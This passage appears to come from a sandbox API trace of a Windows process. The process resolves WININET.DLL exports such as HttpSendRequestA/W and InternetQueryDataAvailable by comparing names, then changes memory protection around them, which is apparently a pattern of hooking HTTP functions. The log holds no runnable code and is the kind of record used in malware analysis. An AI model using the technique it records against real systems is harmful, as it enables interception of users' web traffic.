lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="DllInstall", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpSendRequestA") returned -1 [0073.506] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpSendRequestA") returned -1 [0073.554] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="HttpSendRequestA") returned -1 [0073.555] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="HttpSendRequestA") returned -1 [0073.556] lstrcmpA (lpString1="HttpSendRequestA", lpString2="HttpSendRequestA") returned 0 [0073.556] VirtualProtect (in: lpAddress=0x768e2980, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.556] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.556] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.556] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.556] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.556] VirtualProtect (in: lpAddress=0x76998614, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.556] VirtualProtect (in: lpAddress=0x76998614, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.557] VirtualProtect (in: lpAddress=0x768e2980, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.557] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.557] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.557] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ea30 [0073.557] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0073.557] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="DllInstall", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpSendRequestW") returned -1 [0073.558] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpSendRequestA", lpString2="HttpSendRequestW") returned -1 [0073.559] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="HttpSendRequestW") returned -1 [0073.560] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="HttpSendRequestW") returned -1 [0073.560] lstrcmpA (lpString1="HttpSendRequestW", lpString2="HttpSendRequestW") returned 0 [0073.560] VirtualProtect (in: lpAddress=0x768e298c, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.560] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.560] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.560] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.560] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: hHeap=0x2390000) returned 1 [0073.560] VirtualProtect (in: lpAddress=0x76998619, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x20) returned 1 [0073.560] VirtualProtect (in: lpAddress=0x76998619, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fca0 | out: lpflOldProtect=0x26fca0*=0x40) returned 1 [0073.561] VirtualProtect (in: lpAddress=0x768e298c, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x40) returned 1 [0073.561] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc38, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc38, ReturnLength=0x0) returned 0x0 [0073.561] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.561] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ea68 [0073.561] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.561] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="DllInstall", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.562] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetQueryDataAvailable") returned -1 [0073.563] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetQueryDataAvailable") returned -1 